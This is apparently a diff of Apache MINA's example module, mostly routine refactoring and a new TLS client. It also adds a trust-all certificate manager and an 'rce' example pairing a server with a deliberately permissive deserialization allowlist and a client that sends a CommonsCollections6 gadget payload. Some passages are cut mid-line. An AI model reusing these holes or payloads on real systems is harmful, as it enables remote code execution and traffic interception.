b/mina-example/src/main/java/org/apache/mina/example/echoserver/package.html deleted file mode 100644 index 92d5d470a8..0000000000 --- a/mina-example/src/main/java/org/apache/mina/example/echoserver/package.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - -Echo server which demonstates low-level I/O layer and SSL support. - - diff --git a/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/BogusSslContextFactory.java b/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/BogusSSLContextFactory.java similarity index 69% rename from mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/BogusSslContextFactory.java rename to mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/BogusSSLContextFactory.java index 8b1b6fe8d7..8619880e95 100644 --- a/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/BogusSslContextFactory.java +++ b/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/BogusSSLContextFactory.java @@ -33,18 +33,18 @@ * * @author Apache MINA Project */ -public class BogusSslContextFactory { +public class BogusSSLContextFactory { /** * Protocol to use. */ - private static final String PROTOCOL = "TLS"; + private static final String PROTOCOL = "TLSv1.3"; private static final String KEY_MANAGER_FACTORY_ALGORITHM; static { - String algorithm = Security - .getProperty("ssl.KeyManagerFactory.algorithm"); + String algorithm = Security.getProperty("ssl.KeyManagerFactory.algorithm"); + if (algorithm == null) { algorithm = KeyManagerFactory.getDefaultAlgorithm(); } @@ -53,7 +53,7 @@ public class BogusSslContextFactory { } /** - * Bougus Server certificate keystore file name. + * Bogus Server certificate keystore file name. */ private static final String BOGUS_KEYSTORE = "bogus.cert"; @@ -64,7 +64,7 @@ public class BogusSslContextFactory { // -keypass boguspw -storepass boguspw -keystore bogus.cert /** - * Bougus keystore password. + * Bogus keystore password. */ private static final char[] BOGUS_PW = { 'b', 'o', 'g', 'u', 's', 'p', 'w' }; @@ -75,44 +75,45 @@ public class BogusSslContextFactory { /** * Get SSLContext singleton. * - * @return SSLContext - * @throws java.security.GeneralSecurityException - * + * @param server A flag to tell if this is a Client or Server instance we want to create + * @return SSLContext The created SSLContext + * @throws GeneralSecurityException If we had an issue creating the SSLContext */ - public static SSLContext getInstance(boolean server) - throws GeneralSecurityException { - SSLContext retInstance = null; + public static SSLContext getInstance(boolean server) throws GeneralSecurityException { + SSLContext retInstance; + if (server) { - synchronized(BogusSslContextFactory.class) { + synchronized(BogusSSLContextFactory.class) { if (serverInstance == null) { try { - serverInstance = createBougusServerSslContext(); + serverInstance = createBougusServerSSLContext(); } catch (Exception ioe) { - throw new GeneralSecurityException( - "Can't create Server SSLContext:" + ioe); + throw new GeneralSecurityException( "Can't create Server SSLContext:" + ioe); } } } + retInstance = serverInstance; } else { - synchronized (BogusSslContextFactory.class) { + synchronized (BogusSSLContextFactory.class) { if (clientInstance == null) { - clientInstance = createBougusClientSslContext(); + clientInstance = createBougusClientSSLContext(); } } + retInstance = clientInstance; } + return retInstance; } - private static SSLContext createBougusServerSslContext() - throws GeneralSecurityException, IOException { + private static SSLContext createBougusServerSSLContext() throws GeneralSecurityException, IOException { // Create keystore KeyStore ks = KeyStore.getInstance("JKS"); InputStream in = null; + try { - in = BogusSslContextFactory.class - .getResourceAsStream(BOGUS_KEYSTORE); + in = BogusSSLContextFactory.class.getResourceAsStream(BOGUS_KEYSTORE); ks.load(in, BOGUS_PW); } finally { if (in != null) { @@ -124,23 +125,20 @@ private static SSLContext createBougusServerSslContext() } // Set up key manager factory to use our key store - KeyManagerFactory kmf = KeyManagerFactory - .getInstance(KEY_MANAGER_FACTORY_ALGORITHM); + KeyManagerFactory kmf = KeyManagerFactory.getInstance(KEY_MANAGER_FACTORY_ALGORITHM); kmf.init(ks, BOGUS_PW); // Initialize the SSLContext to work with our key managers. SSLContext sslContext = SSLContext.getInstance(PROTOCOL); - sslContext.init(kmf.getKeyManagers(), - BogusTrustManagerFactory.X509_MANAGERS, null); + sslContext.init(kmf.getKeyManagers(), BogusTrustManagerFactory.X509_MANAGERS, null); return sslContext; } - private static SSLContext createBougusClientSslContext() - throws GeneralSecurityException { + private static SSLContext createBougusClientSSLContext() throws GeneralSecurityException { SSLContext context = SSLContext.getInstance(PROTOCOL); context.init(null, BogusTrustManagerFactory.X509_MANAGERS, null); + return context; } - } diff --git a/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/BogusTrustManagerFactory.java b/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/BogusTrustManagerFactory.java index 7d209d605b..c920b65158 100644 --- a/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/BogusTrustManagerFactory.java +++ b/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/BogusTrustManagerFactory.java @@ -19,6 +19,7 @@ */ package org.apache.mina.example.echoserver.ssl; +import java.net.Socket; import java.security.InvalidAlgorithmParameterException; import java.security.KeyStore; import java.security.KeyStoreException; @@ -26,8 +27,10 @@ import java.security.cert.X509Certificate; import javax.net.ssl.ManagerFactoryParameters; +import javax.net.ssl.SSLEngine; import javax.net.ssl.TrustManager; import javax.net.ssl.TrustManagerFactorySpi; +import javax.net.ssl.X509ExtendedTrustManager; import javax.net.ssl.X509TrustManager; /** @@ -36,36 +39,73 @@ * @author Apache MINA Project */ class BogusTrustManagerFactory extends TrustManagerFactorySpi { + static final X509TrustManager X509 = new X509ExtendedTrustManager() { - static final X509TrustManager X509 = new X509TrustManager() { - public void checkClientTrusted(X509Certificate[] x509Certificates, - String s) throws CertificateException { + @Override + public void checkClientTrusted( X509Certificate[] chain, String authType ) throws CertificateException { + // Nothing to do } - public void checkServerTrusted(X509Certificate[] x509Certificates, - String s) throws CertificateException { + @Override + public void checkServerTrusted( X509Certificate[] chain, String authType ) throws CertificateException { + // Nothing to do } + @Override public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; } + + @Override + public void checkClientTrusted( X509Certificate[] chain, String authType, Socket socket ) + throws CertificateException { + // Nothing to do + } + + @Override + public void checkClientTrusted( X509Certificate[] chain, String authType, SSLEngine engine ) + throws CertificateException { + // Nothing to do + } + + @Override + public void checkServerTrusted( X509Certificate[] chain, String authType, Socket socket ) + throws CertificateException { + // Nothing to do + } + + @Override + public void checkServerTrusted( X509Certificate[] chain, String authType, SSLEngine engine ) + throws CertificateException { + // Nothing to do + } }; static final TrustManager[] X509_MANAGERS = new TrustManager[] { X509 }; public BogusTrustManagerFactory() { + // Do nothing } + /** + * {@inheritDoc} + */ @Override protected TrustManager[] engineGetTrustManagers() { return X509_MANAGERS; } + /** + * {@inheritDoc} + */ @Override protected void engineInit(KeyStore keystore) throws KeyStoreException { // noop } + /** + * {@inheritDoc} + */ @Override protected void engineInit(ManagerFactoryParameters managerFactoryParameters) throws InvalidAlgorithmParameterException { diff --git a/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/SslServerSocketFactory.java b/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/SSLServerSocketFactory.java similarity index 87% rename from mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/SslServerSocketFactory.java rename to mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/SSLServerSocketFactory.java index 52bed67a9d..7aa033b5b9 100644 --- a/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/SslServerSocketFactory.java +++ b/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/SSLServerSocketFactory.java @@ -28,18 +28,18 @@ /** * Simple Server Socket factory to create sockets with or without SSL enabled. - * If SSL enabled a "bougus" SSL Context is used (suitable for test purposes) + * If SSL enabled a "bogus" SSL Context is used (suitable for test purposes) * * @author Apache MINA Project */ -public class SslServerSocketFactory extends javax.net.ServerSocketFactory { +public class SSLServerSocketFactory extends ServerSocketFactory { private static boolean sslEnabled = false; private static javax.net.ServerSocketFactory sslFactory = null; private static ServerSocketFactory factory = null; - public SslServerSocketFactory() { + public SSLServerSocketFactory() { super(); } @@ -60,12 +60,12 @@ public ServerSocket createServerSocket(int port, int backlog, return new ServerSocket(port, backlog, ifAddress); } - public static javax.net.ServerSocketFactory getServerSocketFactory() + public static ServerSocketFactory getServerSocketFactory() throws IOException { if (isSslEnabled()) { if (sslFactory == null) { try { - sslFactory = BogusSslContextFactory.getInstance(true) + sslFactory = BogusSSLContextFactory.getInstance(true) .getServerSocketFactory(); } catch (GeneralSecurityException e) { IOException ioe = new IOException( @@ -77,7 +77,7 @@ public static javax.net.ServerSocketFactory getServerSocketFactory() return sslFactory; } else { if (factory == null) { - factory = new SslServerSocketFactory(); + factory = new SSLServerSocketFactory(); } return factory; } diff --git a/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/SslSocketFactory.java b/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/SSLSocketFactory.java similarity index 90% rename from mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/SslSocketFactory.java rename to mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/SSLSocketFactory.java index 0db8f2be99..0305bd4f9d 100644 --- a/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/SslSocketFactory.java +++ b/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/SSLSocketFactory.java @@ -29,18 +29,18 @@ /** * Simple Socket factory to create sockets with or without SSL enabled. - * If SSL enabled a "bougus" SSL Context is used (suitable for test purposes) + * If SSL enabled a "bogus" SSL Context is used (suitable for test purposes) * * @author Apache MINA Project */ -public class SslSocketFactory extends SocketFactory { +public class SSLSocketFactory extends SocketFactory { private static boolean sslEnabled = false; private static javax.net.ssl.SSLSocketFactory sslFactory = null; private static javax.net.SocketFactory factory = null; - public SslSocketFactory() { + public SSLSocketFactory() { super(); } @@ -85,7 +85,7 @@ public Socket createSocket(InetAddress arg1, int arg2, InetAddress arg3, public static javax.net.SocketFactory getSocketFactory() { if (factory == null) { - factory = new SslSocketFactory(); + factory = new SSLSocketFactory(); } return factory; } @@ -93,10 +93,10 @@ public static javax.net.SocketFactory getSocketFactory() { private javax.net.ssl.SSLSocketFactory getSSLFactory() { if (sslFactory == null) { try { - sslFactory = BogusSslContextFactory.getInstance(false) + sslFactory = BogusSSLContextFactory.getInstance(false) .getSocketFactory(); } catch (GeneralSecurityException e) { - throw new RuntimeException("could not create SSL socket", e); + throw new IllegalStateException("could not create SSL socket", e); } } return sslFactory; diff --git a/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/TlsClient.java b/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/TlsClient.java new file mode 100644 index 0000000000..588ba2fe9f --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/echoserver/ssl/TlsClient.java @@ -0,0 +1,173 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.example.echoserver.ssl; + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.nio.ByteBuffer; +import java.security.KeyManagementException; +import java.security.KeyStore; +import java.security.KeyStoreException; +import java.security.NoSuchAlgorithmException; +import java.security.Security; +import java.security.UnrecoverableKeyException; +import java.security.cert.CertificateException; +import java.util.Arrays; + +import javax.net.ssl.KeyManagerFactory; +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLSocket; +import javax.net.ssl.SSLSocketFactory; +import javax.net.ssl.TrustManagerFactory; + +public class TlsClient { + private static final String CERTIFICATE = "bogus.cert"; + private static final char[] PASSWORD = new char[] { 'b', 'o', 'g', 'u', 's', 'p', 'w' }; + private static final String PROTOCOL = "TLSv1.3"; + private static final String KEY_MANAGER_FACTORY_ALGORITHM; + + static { + String algorithm = Security.getProperty("ssl.KeyManagerFactory.algorithm"); + + if (algorithm == null) { + algorithm = KeyManagerFactory.getDefaultAlgorithm(); + } + + KEY_MANAGER_FACTORY_ALGORITHM = algorithm; + } + + public static void main(String[] args) throws KeyStoreException, NoSuchAlgorithmException, CertificateException, + IOException, UnrecoverableKeyException, KeyManagementException { + + // Create keystore with the test certificate + KeyStore ks = KeyStore.getInstance("JKS"); + InputStream in = null; + + try { + in = TlsClient.class.getResourceAsStream(CERTIFICATE); + ks.load(in, PASSWORD); + } finally { + if (in != null) { + try { + in.close(); + } catch (IOException ignored) { + } + } + } + + // Create a TrustManagerFactory from our test keystore + TrustManagerFactory tmf = TrustManagerFactory + .getInstance(TrustManagerFactory.getDefaultAlgorithm()); + tmf.init(ks); + + // Create a SSL socket factory that uses our trust manager + SSLContext sslContext = SSLContext.getInstance(PROTOCOL); + sslContext.init(null, tmf.getTrustManagers(), null); + SSLSocketFactory sslFactory = sslContext.getSocketFactory(); + + try { + // Create a socket - will not connect yet + SSLSocket socket = (SSLSocket) sslFactory.createSocket("localhost", 8080); + + if (socket == null) { + return; + } + + socket.setEnabledCipherSuites( + new String[] { "TLS_AES_128_GCM_SHA256", "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256" }); + socket.setEnabledProtocols(new String[] { "TLSv1.3", "TLSv1.2" }); + + // Handshake to create a session + socket.startHandshake(); + + // What parameters were established? + System.out.println(String.format("Negotiated Session: %s", socket.getSession().getProtocol())); + System.out.println(String.format("Cipher Suite: %s", socket.getSession().getCipherSuite())); + + // We're reading and writing bytes. Other streams can be used. + BufferedOutputStream output = new BufferedOutputStream(socket.getOutputStream()); + BufferedInputStream input = new BufferedInputStream(socket.getInputStream()); + output.write(new byte[] { 2, 3, 5, 7, 11, 13, 17, 19, 23 }); + output.flush(); + + // Read the server response up to a max of 64 bytes. + byte[] serverResponse = new byte[64]; + int len = input.read(serverResponse, 0, 64); + + // Expect 9 bytes back + if (len == 9) { + System.out.println("\nServer result: " + Arrays.toString(Arrays.copyOfRange(serverResponse, 0, 9))); + } else { + System.out.println("\nServer response length: " + len); + } + + // Try with a bigger buffer, 64Kb + int bufferSize = 1_024*16*4; + byte[] bigBuffer = new byte[bufferSize]; + + for (int i=0; i - - - - - -SSL support classes. - - diff --git a/mina-example/src/main/java/org/apache/mina/example/gettingstarted/timeserver/MinaTimeServer.java b/mina-example/src/main/java/org/apache/mina/example/gettingstarted/timeserver/MinaTimeServer.java index 72085ed957..9ade80d5c1 100644 --- a/mina-example/src/main/java/org/apache/mina/example/gettingstarted/timeserver/MinaTimeServer.java +++ b/mina-example/src/main/java/org/apache/mina/example/gettingstarted/timeserver/MinaTimeServer.java @@ -21,7 +21,7 @@ import java.io.IOException; import java.net.InetSocketAddress; -import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import org.apache.mina.core.service.IoAcceptor; import org.apache.mina.core.session.IdleStatus; @@ -46,6 +46,9 @@ public class MinaTimeServer { /** * The server implementation. It's based on TCP, and uses a logging filter * plus a text line decoder. + * + * @param args The arguments + * @throws IOException If something went wrong */ public static void main(String[] args) throws IOException { // Create the acceptor @@ -53,7 +56,7 @@ public static void main(String[] args) throws IOException { // Add two filters : a logger and a codec acceptor.getFilterChain().addLast( "logger", new LoggingFilter() ); - acceptor.getFilterChain().addLast( "codec", new ProtocolCodecFilter( new TextLineCodecFactory( Charset.forName( "UTF-8" )))); + acceptor.getFilterChain().addLast( "codec", new ProtocolCodecFilter( new TextLineCodecFactory( StandardCharsets.UTF_8))); // Attach the business logic to the server acceptor.setHandler( new TimeServerHandler() ); diff --git a/mina-example/src/main/java/org/apache/mina/example/gettingstarted/timeserver/TimeServerHandler.java b/mina-example/src/main/java/org/apache/mina/example/gettingstarted/timeserver/TimeServerHandler.java index 0b9eb6c220..0660079fd9 100644 --- a/mina-example/src/main/java/org/apache/mina/example/gettingstarted/timeserver/TimeServerHandler.java +++ b/mina-example/src/main/java/org/apache/mina/example/gettingstarted/timeserver/TimeServerHandler.java @@ -53,7 +53,7 @@ public void messageReceived( IoSession session, Object message ) throws Exceptio if( str.trim().equalsIgnoreCase("quit") ) { // "Quit" ? let's get out ... - session.close(true); + session.closeNow(); return; } diff --git a/mina-example/src/main/java/org/apache/mina/example/haiku/ToHaikuIoFilter.java b/mina-example/src/main/java/org/apache/mina/example/haiku/ToHaikuIoFilter.java index 8dd315f00a..ff9321d235 100644 --- a/mina-example/src/main/java/org/apache/mina/example/haiku/ToHaikuIoFilter.java +++ b/mina-example/src/main/java/org/apache/mina/example/haiku/ToHaikuIoFilter.java @@ -36,7 +36,7 @@ public void messageReceived(NextFilter nextFilter, IoSession session, List phrases = (List) session.getAttribute("phrases"); if (null == phrases) { - phrases = new ArrayList(); + phrases = new ArrayList<>(); session.setAttribute("phrases", phrases); } diff --git a/mina-example/src/main/java/org/apache/mina/example/imagine/step1/client/ImageClient.java b/mina-example/src/main/java/org/apache/mina/example/imagine/step1/client/ImageClient.java index 0e793b05c3..44eb977f98 100644 --- a/mina-example/src/main/java/org/apache/mina/example/imagine/step1/client/ImageClient.java +++ b/mina-example/src/main/java/org/apache/mina/example/imagine/step1/client/ImageClient.java @@ -25,8 +25,8 @@ import org.apache.mina.core.session.IoSession; import org.apache.mina.example.imagine.step1.ImageRequest; import org.apache.mina.example.imagine.step1.ImageResponse; -import org.apache.mina.example.imagine.step1.server.ImageServer; import org.apache.mina.example.imagine.step1.codec.ImageCodecFactory; +import org.apache.mina.example.imagine.step1.server.ImageServer; import org.apache.mina.filter.codec.ProtocolCodecFilter; import org.apache.mina.transport.socket.SocketConnector; import org.apache.mina.transport.socket.nio.NioSocketConnector; @@ -73,7 +73,7 @@ public void connect() { public void disconnect() { if (session != null) { - session.close(true).awaitUninterruptibly(CONNECT_TIMEOUT); + session.closeNow().awaitUninterruptibly(CONNECT_TIMEOUT); session = null; } } diff --git a/mina-example/src/main/java/org/apache/mina/example/imagine/step1/codec/ImageResponseDecoder.java b/mina-example/src/main/java/org/apache/mina/example/imagine/step1/codec/ImageResponseDecoder.java index 9580f86352..27405380c7 100644 --- a/mina-example/src/main/java/org/apache/mina/example/imagine/step1/codec/ImageResponseDecoder.java +++ b/mina-example/src/main/java/org/apache/mina/example/imagine/step1/codec/ImageResponseDecoder.java @@ -43,7 +43,7 @@ public class ImageResponseDecoder extends CumulativeProtocolDecoder { public static final int MAX_IMAGE_SIZE = 5 * 1024 * 1024; private static class DecoderState { - BufferedImage image1; + private BufferedImage image1; } protected boolean doDecode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception { diff --git a/mina-example/src/main/java/org/apache/mina/example/netcat/NetCatProtocolHandler.java b/mina-example/src/main/java/org/apache/mina/example/netcat/NetCatProtocolHandler.java index e3fe6222c4..b922b0e776 100644 --- a/mina-example/src/main/java/org/apache/mina/example/netcat/NetCatProtocolHandler.java +++ b/mina-example/src/main/java/org/apache/mina/example/netcat/NetCatProtocolHandler.java @@ -50,7 +50,7 @@ public void sessionClosed(IoSession session) { public void sessionIdle(IoSession session, IdleStatus status) { // Close the connection if reader is idle. if (status == IdleStatus.READER_IDLE) { - session.close(true); + session.closeNow(); } } diff --git a/mina-example/src/main/java/org/apache/mina/example/netcat/package-info.java b/mina-example/src/main/java/org/apache/mina/example/netcat/package-info.java new file mode 100644 index 0000000000..8ddd47ed72 --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/netcat/package-info.java @@ -0,0 +1,24 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * NetCat client (Network + Unix cat command) which demonstrates low-level I/O layer. + */ +package org.apache.mina.example.netcat; diff --git a/mina-example/src/main/java/org/apache/mina/example/netcat/package.html b/mina-example/src/main/java/org/apache/mina/example/netcat/package.html deleted file mode 100644 index 849160b020..0000000000 --- a/mina-example/src/main/java/org/apache/mina/example/netcat/package.html +++ /dev/null @@ -1,25 +0,0 @@ - - - - - - -NetCat client (Network + Unix cat command) which demonstates low-level I/O layer. - - - diff --git a/mina-example/src/main/java/org/apache/mina/example/proxy/AbstractProxyIoHandler.java b/mina-example/src/main/java/org/apache/mina/example/proxy/AbstractProxyIoHandler.java index 197fde9c5a..e9297161ef 100644 --- a/mina-example/src/main/java/org/apache/mina/example/proxy/AbstractProxyIoHandler.java +++ b/mina-example/src/main/java/org/apache/mina/example/proxy/AbstractProxyIoHandler.java @@ -39,22 +39,31 @@ public abstract class AbstractProxyIoHandler extends IoHandlerAdapter { private final static Logger LOGGER = LoggerFactory.getLogger(AbstractProxyIoHandler.class); + /** + * {@inheritDoc} + */ @Override public void sessionCreated(IoSession session) throws Exception { session.suspendRead(); session.suspendWrite(); } + /** + * {@inheritDoc} + */ @Override public void sessionClosed(IoSession session) throws Exception { if (session.getAttribute( OTHER_IO_SESSION ) != null) { IoSession sess = (IoSession) session.getAttribute(OTHER_IO_SESSION); sess.setAttribute(OTHER_IO_SESSION, null); - sess.close(false); + sess.closeOnFlush(); session.setAttribute(OTHER_IO_SESSION, null); } } + /** + * {@inheritDoc} + */ @Override public void messageReceived(IoSession session, Object message) throws Exception { diff --git a/mina-example/src/main/java/org/apache/mina/example/proxy/ClientToProxyIoHandler.java b/mina-example/src/main/java/org/apache/mina/example/proxy/ClientToProxyIoHandler.java index 4d31da37fd..3b8c6ef6d0 100644 --- a/mina-example/src/main/java/org/apache/mina/example/proxy/ClientToProxyIoHandler.java +++ b/mina-example/src/main/java/org/apache/mina/example/proxy/ClientToProxyIoHandler.java @@ -59,7 +59,7 @@ public void operationComplete(ConnectFuture future) { session2.resumeWrite(); } catch (RuntimeIoException e) { // Connect failed - session.close(true); + session.closeNow(); } finally { session.resumeRead(); session.resumeWrite(); diff --git a/mina-example/src/main/java/org/apache/mina/example/proxy/Main.java b/mina-example/src/main/java/org/apache/mina/example/proxy/Main.java index 35c47188b7..aea462116a 100644 --- a/mina-example/src/main/java/org/apache/mina/example/proxy/Main.java +++ b/mina-example/src/main/java/org/apache/mina/example/proxy/Main.java @@ -19,32 +19,36 @@ */ package org.apache.mina.example.proxy; + import java.net.InetSocketAddress; import org.apache.mina.core.service.IoConnector; import org.apache.mina.transport.socket.nio.NioSocketAcceptor; import org.apache.mina.transport.socket.nio.NioSocketConnector; + /** * (Entry point) Demonstrates how to write a very simple tunneling proxy * using MINA. The proxy only logs all data passing through it. This is only * suitable for text based protocols since received data will be converted into * strings before being logged. *

    - * Start a proxy like this:
    - * org.apache.mina.example.proxy.Main 12345 www.google.com 80
    + * Start a proxy like this:
    + * org.apache.mina.example.proxy.Main 12345 www.google.com 80
    * and open http://localhost:12345 in a * browser window. - *

    * * @author Apache MINA Project */ -public class Main { +public class Main +{ - public static void main(String[] args) throws Exception { - if (args.length != 3) { - System.out.println(Main.class.getName() - + " "); + public static void main( String[] args ) throws Exception + { + if ( args.length != 3 ) + { + System.out.println( Main.class.getName() + + " " ); return; } @@ -55,16 +59,16 @@ public static void main(String[] args) throws Exception { IoConnector connector = new NioSocketConnector(); // Set connect timeout. - connector.setConnectTimeoutMillis(30*1000L); + connector.setConnectTimeoutMillis( 30 * 1000L ); - ClientToProxyIoHandler handler = new ClientToProxyIoHandler(connector, - new InetSocketAddress(args[1], Integer.parseInt(args[2]))); + ClientToProxyIoHandler handler = new ClientToProxyIoHandler( connector, + new InetSocketAddress( args[1], Integer.parseInt( args[2] ) ) ); // Start proxy. - acceptor.setHandler(handler); - acceptor.bind(new InetSocketAddress(Integer.parseInt(args[0]))); + acceptor.setHandler( handler ); + acceptor.bind( new InetSocketAddress( Integer.parseInt( args[0] ) ) ); - System.out.println("Listening on port " + Integer.parseInt(args[0])); + System.out.println( "Listening on port " + Integer.parseInt( args[0] ) ); } } diff --git a/mina-example/src/main/java/org/apache/mina/example/proxy/package-info.java b/mina-example/src/main/java/org/apache/mina/example/proxy/package-info.java new file mode 100644 index 0000000000..43942483ca --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/proxy/package-info.java @@ -0,0 +1,24 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * A TCP/IP tunneling proxy example. + */ +package org.apache.mina.example.proxy; diff --git a/mina-example/src/main/java/org/apache/mina/example/proxy/package.html b/mina-example/src/main/java/org/apache/mina/example/proxy/package.html deleted file mode 100644 index c322906de0..0000000000 --- a/mina-example/src/main/java/org/apache/mina/example/proxy/package.html +++ /dev/null @@ -1,25 +0,0 @@ - - - - - - -A TCP/IP tunneling proxy example. - - - diff --git a/mina-example/src/main/java/org/apache/mina/example/rce/MinaClient.java b/mina-example/src/main/java/org/apache/mina/example/rce/MinaClient.java new file mode 100644 index 0000000000..5b6eb10d10 --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/rce/MinaClient.java @@ -0,0 +1,54 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.example.rce; + +import org.apache.mina.core.future.ConnectFuture; +import org.apache.mina.core.service.IoConnector; +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.codec.ProtocolCodecFilter; +import org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory; +import org.apache.mina.transport.socket.nio.NioSocketConnector; +//import payload.Generator; +import java.net.InetSocketAddress; + +public class MinaClient { + private static final String HOSTNAME = "localhost"; + private static final int PORT = 9123; + + public static void main(String[] args) throws Exception { + IoConnector connector = new NioSocketConnector(); + connector.getFilterChain().addLast("codec", new ProtocolCodecFilter(new ObjectSerializationCodecFactory())); + connector.setHandler(new ClientHandler()); + ConnectFuture future = connector.connect(new InetSocketAddress(HOSTNAME, PORT)); + future.awaitUninterruptibly(); + IoSession session = future.getSession(); + session.write(Reflections.getCC6()); + session.getCloseFuture().awaitUninterruptibly(); + connector.dispose(); + } + + private static class ClientHandler extends IoHandlerAdapter { + @Override + public void messageReceived(IoSession session, Object message) { + System.out.println("Received from server: " + message); + } + } +} diff --git a/mina-example/src/main/java/org/apache/mina/example/rce/MinaServer.java b/mina-example/src/main/java/org/apache/mina/example/rce/MinaServer.java new file mode 100644 index 0000000000..c8033bc431 --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/rce/MinaServer.java @@ -0,0 +1,82 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.example.rce; + +import org.apache.mina.core.buffer.matcher.FullClassNameMatcher; +import org.apache.mina.core.buffer.matcher.RegexpClassNameMatcher; +import org.apache.mina.core.service.IoAcceptor; +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.codec.ProtocolCodecFilter; +import org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory; +import org.apache.mina.transport.socket.nio.NioSocketAcceptor; +import java.io.IOException; +import java.net.InetSocketAddress; + +public class MinaServer { + private static final int PORT = 9123; + + public static void main(String[] args) throws IOException { + IoAcceptor acceptor = new NioSocketAcceptor(); + ObjectSerializationCodecFactory codec = new ObjectSerializationCodecFactory(); + codec.accept(new RegexpClassNameMatcher("java.util.Collections.*")); + codec.accept(new RegexpClassNameMatcher("org.apache.commons.collections4.*")); + codec.accept(new RegexpClassNameMatcher("java.lang.*")); + + codec.accept(new FullClassNameMatcher( + "javax.management.BadAttributeValueExpException", + "java.util.ArrayList", + "java.util.HashMap")); + + /* + codec.accept(new FullClassNameMatcher( + "javax.management.BadAttributeValueExpException", + "java.lang.Exception", + "java.lang.Throwable", + "java.lang.StackTraceElement", + "java.util.Collections$UnmodifiableList", + "java.util.Collections$UnmodifiableCollection", + "java.util.ArrayList", + "org.apache.commons.collections4.keyvalue.TiedMapEntry", + "org.apache.commons.collections4.map.LazyMap", + 